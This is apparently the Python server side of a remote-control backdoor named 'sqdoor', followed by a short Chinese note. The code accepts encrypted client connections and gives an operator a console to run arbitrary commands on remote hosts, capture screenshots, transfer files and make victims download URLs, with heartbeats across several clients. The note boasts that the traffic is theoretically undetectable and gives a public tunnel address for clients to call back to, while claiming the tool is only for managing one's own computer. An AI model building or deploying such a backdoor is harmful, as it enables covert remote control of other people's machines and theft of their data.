"""
@author sq
date 2024-7-17
"""
import os
import sys
import copy
import traceback
import socket
import time
import platform
import pdb
import select
from threading import Thread
from argparse import ArgumentParser
sys.path.append(os.path.abspath(os.path.join(os.path.dirname(os.path.realpath(__file__)), os.pardir)))
from common.logger import init_logger
from common.encrypted_socket import EncryptedSocket
from common.encrypted_socket import DiffieHellman
#############################################################
isdebug = True #处于调试模式
g_logfile = "server_sqdoor.log" #日志文件名
#############################################################
class Server:
def __init__(self,port):
self.port = port
self.logger = init_logger(g_logfile,isdebug)
self.listener = socket.socket()
self.listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
self.es = None
self.inites = None
self.clients = []
self.logger.info(f"init Server")
def work(self):
try:
self.listener.bind(("0.0.0.0", self.port))
except socket.error as e:
self.logger.debug(f"Error binding socket {e}...")
else:
self.listener.listen(20)
self.logger.debug(f"Listening on port {self.port}")
#接受连接请求
while True:
#pdb.set_trace()
try:
_socket, address = self.listener.accept()
_socket.setblocking(True)
_socket.settimeout(30)
dh = DiffieHellman()
_socket.send(str(dh.pub_key).encode())
_msg = _socket.recv(1024)
try:
client_pub_key = int(_msg.decode())
dh.set_shared_key(client_pub_key)
self.inites = EncryptedSocket(_socket,dh.key)
except Exception as e :
print(f"Error on init EncryptedSocket: {e}")
_socket.close()
return
serverinfo = self.inites.recv()
self.logger.debug(f"接受远程客户端,信息结构体:\n{serverinfo.decode()}")
print(f"\n客户端{address [0]}[{address[1]}]上线...\n")
node = {}
node["info"] = serverinfo.decode()
node["sock"] = self.inites
node["active"] = False
node["connected"] = True
self.clients.append(node)
if len(self.clients)==1:
self.es = self.inites
self.clients[0]["active"] = True
thread_accept = Thread(target=self.interaction)
thread_accept.daemon = True
thread_accept.start()
thread_heart = Thread(target=self.sendheart,args=(60,))
thread_heart.daemon = True
thread_heart.start()
except Exception as e :
print(f"Error on accept {e} ")
self.logger.debug(f"An error occurred while the server was accepting a connection")
_socket.close()
def interaction(self):
while True:
if len(self.clients)==0:
#现在没有客户端在线,所以子线程跳出循环并退出
print(f"当前没有客户端,等待连接中...")
break
try:
senddata = input(">>>")
cmdstr = senddata.lower()
if not senddata:
continue
if cmdstr == "help":
self.showhelp()
continue
elif cmdstr == "exit":
self.exit()
elif cmdstr[:4] == "put ":
self.updatafile(cmdstr)
continue
elif cmdstr[:4] == "get ":
self.downloadfile(cmdstr)
continue
elif cmdstr[:4] == "grab":
self.es.send(senddata.encode())
recvdata = self.es.recv()
self.saveimg(recvdata)
elif cmdstr[:3] == "dl ":
self.es.send(senddata.encode())
while True:
try:
recvdata = self.es.recv()
print(recvdata.decode())
except socket.timeout as e:
print("文件下载等待回应中...")
self.es.socket.settimeout(100)
else:
self.es.socket.settimeout(30)
break
elif cmdstr == "list":
self.listclients()
elif cmdstr[:6] == "switch":
self.switchclient(cmdstr[6:])
else:
self.es.send(senddata.encode())
recvdata = self.es.recv()
print(recvdata.decode())
with open("result.log","ab") as f:
f.write(recvdata)
except Exception as e:
self.logger.debug(f"控制循环出现异常:\n{traceback.format_exc()}")
print(f"操作异常,客户端可能掉线,可以用switch命令切换到其他客户端,异常原因:\n{e}")
self.refreshlients()
def getcurrentsockindex(self):
for idx,node in enumerate(self.clients):
if node["sock"] == self.es:
return idx
raise ValueError("找不到当前套接字")
def switchclient(self,index):
self.refreshlients()
try:
idx = int(index.strip())
except :
print("找不到指定的客户端")
return
node = self.clients[idx]
if not node["connected"]:
print("客户端不在线,切换失败")
return
else:
try:
cures = self.getcurrentsockindex()
self.clients[cures]["active"] = False
except ValueError as e:
pass
self.es = node["sock"]
node["active"] = True
def sendheart(self,interval=60):
while True:
time.sleep(interval)
if 0 == len(self.clients):
continue
for i in self.clients:
try:
ret = i["sock"].send("heartbeat".encode())
if ret > 0:
continue
except socket.error as e:
self.logger.debug(f"心跳包发送出错...{e}")
def refreshlients(self):
deathlist = []
for idx,node in enumerate(self.clients):
tmpes = node["sock"]
try:
ret = tmpes.send("heartbeat".encode())
if ret > 0:
continue
except socket.error as e:
if self.es == tmpes:
print(f"当前客户端收发异常:{e}")
deathlist.append(node)
for i in deathlist:
self.clients.remove(i)
def listclients(self):
self.refreshlients()
if len(self.clients) == 0:
return
for idx,node in enumerate(self.clients):
temstr = "在线" if node["connected"] else "掉线"
if node["active"]:
temstr = " 激活"
banner = f"\n-------- 客户端:{idx} {temstr} --------"
print(banner)
print(node["info"])
print("-"*(len(banner)+4))
print("\n")
def downloadfile(self,cmdstr):
file = os.path.basename(cmdstr.split()[1])
localfile = os.path.join(os.getcwd(),file)
if os.path.exists(localfile):
print(f"当前目录已经存在名为{file}的文件,请将当前文件更名后再下载")
return
self.es.send((cmdstr+"\r\n").encode())
data = self.es.recv()
with open(localfile,"wb") as f:
f.write(data)
print(f"{localfile}文件已经保存在当前目录")
self.logger.info(f"下载{localfile}文件")
def updatafile(self,cmdstr):
filepath = cmdstr.split()[1]
#pdb.set_trace()
if not os.path.exists(filepath):
print(f"本地不存在名为{filepath}的文件")
return
with open(filepath,"rb") as f:
data = f.read()
self.es.send((cmdstr+"\r\n").encode()+data)
print(self.es.recv().decode())
self.logger.info(f"上传{filepath}文件")
def exit(self):
print("\nSqdoor已退出...")
sys.exit()
def showhelp(self):
helpinfo ="\nsqdoor是一款仅用于研究学习的远程控制软件,禁止用于非法用途,否则后果自负!\n\n"
helpinfo += "cmd(空格)命令\t\t让远程主机执行指定命令\n"
helpinfo += "grab(空格)截图质量\t远程截屏,并保存在本地路径,截图质量范围(1-100)\n"
helpinfo += "help\t\t\t打印本帮助信息\n"
helpinfo += "exit\t\t\t退出本客户端\n"
helpinfo += "get(空格)文件路径\t下载指定的远程主机文件\n"
helpinfo += "put(空格)文件路径\t上传本地指定的文件到远程主机\n"
helpinfo += "info\t\t\t显示客户端的信息\n"
helpinfo += "switch(空格)客户端序号\t切换到指定的客户端\n"
helpinfo += "list\t\t\t显示所有在线的客户端的信息\n"
helpinfo += "dl(空格)url\t\t下载指定url的文件到客户端上\n"
print(helpinfo)
def saveimg(self,data):
if not data:
return
screenshotdir="screenshot"
if not os.path.exists(screenshotdir):
os.makedirs(screenshotdir)
filename = os.path.join(os.path.abspath(screenshotdir), time.strftime("%y%m%d_%H%M%S")+".jpg")
with open(filename,"wb") as f:
result = f.write(data)
print("img path:"+os.path.realpath(filename))
def start():
parser = ArgumentParser()
parser.add_argument("-p", "--port", help="port number", type=int, default=80, dest="port")
arg = parser.parse_args()
Server(arg.port).work()
if __name__ == "__main__":
start()
上面是服务端的代码,通信过程使用了加密手段,理论上是不可被识别的。
这里的远控,是用来方便自己管理自己的电脑的。
client:运行在远端的家中,通过读取server的地址实现连接
***tcp://30.tcp.cpolar.top:10676***